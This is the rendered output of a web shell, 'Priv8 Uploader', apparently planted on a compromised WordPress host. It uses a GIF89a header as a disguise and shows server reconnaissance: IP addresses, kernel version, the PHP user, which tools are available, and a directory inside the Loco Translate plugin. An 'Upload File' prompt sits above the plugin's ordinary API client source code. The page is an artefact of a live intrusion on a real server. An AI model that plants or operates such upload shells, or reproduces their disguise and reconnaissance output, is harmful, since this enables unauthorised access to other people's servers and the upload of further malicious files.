GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.217.79 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.24 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/spg.nr7.net/wp-content/plugins/loco-translate/src/api/ |
Upload File : |
<?php
/**
* Generic API client base class
*/
abstract class Loco_api_Client {
/**
* @param array|WP_Error $result
* @return array
*/
public static function decodeResponse( $result ):array {
if( $result instanceof WP_Error ){
foreach( $result->get_error_messages() as $message ){
throw new Loco_error_Exception($message);
}
}
// always decode response if server says it's JSON
if( 'application/json' === substr($result['headers']['Content-Type'],0,16) ){
$data = json_decode( $result['body'], true );
if( is_array($data) ){
return $data;
}
throw new Loco_error_Exception('Failed to decode JSON response');
}
if( 200 === $result['response']['code'] ){
throw new Loco_error_Exception('Expected JSON Content-Type for 200 response');
}
// else this may be a valid error response
return [];
}
public static function getUserAgent():string {
return apply_filters( 'loco_api_user_agent', sprintf('Loco Translate/%s; wp-%s', loco_plugin_version(), $GLOBALS['wp_version'] ) );
}
}